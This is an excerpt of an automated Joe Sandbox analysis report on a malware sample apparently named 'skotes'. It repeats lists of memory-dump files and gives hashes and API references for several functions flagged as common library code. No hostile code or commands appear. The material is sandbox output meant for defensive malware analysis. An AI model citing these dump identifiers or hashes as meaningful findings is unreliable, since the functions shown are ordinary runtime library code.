Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 870c3477c7a9920fb63d2ed818e93c72a1edae889604d7a4c2b5950a53dac9a0
Instruction ID: ab3b254451427056a28b46475403f6b196e76d5306ee5cb11641895116e60161
Opcode Fuzzy Hash: 870c3477c7a9920fb63d2ed818e93c72a1edae889604d7a4c2b5950a53dac9a0
Instruction Fuzzy Hash: 2F210A71A0011AAFDF00EFA4DC85ABEB7B9EF18710F514426F905A7361DB74AD41DBA0

Function 001E9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 001E9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 001E9CE8
std::bad_exception::bad_exception.LIBCMT ref: 001E9CFE
std::bad_exception::bad_exception.LIBCMT ref: 001E9D6A

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 8bb04e2523999f5fa876fa65b1d60a00528fe287ccfa080eff3bd41abd4fa7cc
Instruction ID: cbd23bc8b298c55deacdb534da1627a619ac6bf1da8356c7b1d3dd94dc21eddc
Opcode Fuzzy Hash: 8bb04e2523999f5fa876fa65b1d60a00528fe287ccfa080eff3bd41abd4fa7cc
Instruction Fuzzy Hash: 7021B371904A94AFDB09EFA5D982DEDB7F4BF25310B21406AF101AB292EB316E41CB51

Function 001EA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 001EA069

Part of subcall function 001EB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 001EB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 001EA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 001EA0CB

Part of subcall function 001EAB41: List.LIBCONCRT ref: 001EAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 001EA0DB

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 6c26c6de8843f1b92433d8e9c648b829d38f59f04e036a060fa262af2d559009
Instruction ID: 2cb3202c26b96041f178a71b78c35e7c29ccb9d200db4cdd3c83841d8abbcbb9
Opcode Fuzzy Hash: 6c26c6de8843f1b92433d8e9c648b829d38f59f04e036a060fa262af2d559009
Instruction Fuzzy Hash: 3621A932900A159FCB25EF66D9908AFF3F5FF583007404A5EE442A7661DB70B905CBA2

Function 001E4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 001E4893
ListArray.LIBCONCRT ref: 001E48A5

Part of subcall function 001E5555: _InternalDeleteHelper.LIBCONCRT ref: 001E5564

ListArray.LIBCONCRT ref: 001E48AF
_InternalDeleteHelper.LIBCONCRT ref: 001E48C8

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 293897c63459ee9c3c039fb42dad99d0efc27a16a5e5b00feff88103d6de69a9
Instruction ID: cc11261999d223c9acdeff56c78c58aefae134209e3539ad435b04f4e069ea40
Opcode Fuzzy Hash: 293897c63459ee9c3c039fb42dad99d0efc27a16a5e5b00feff88103d6de69a9
Instruction Fuzzy Hash: 3901F931600DA1BFDB15BBA6D9C2E7DB76BBF55714B00012AF50597612CF20EC2197A1

Function 001EEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 001EEE6A
ListArray.LIBCONCRT ref: 001EEE7C

Part of subcall function 001EEF29: _InternalDeleteHelper.LIBCONCRT ref: 001EEF3B

ListArray.LIBCONCRT ref: 001EEE86
_InternalDeleteHelper.LIBCONCRT ref: 001EEE9F

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
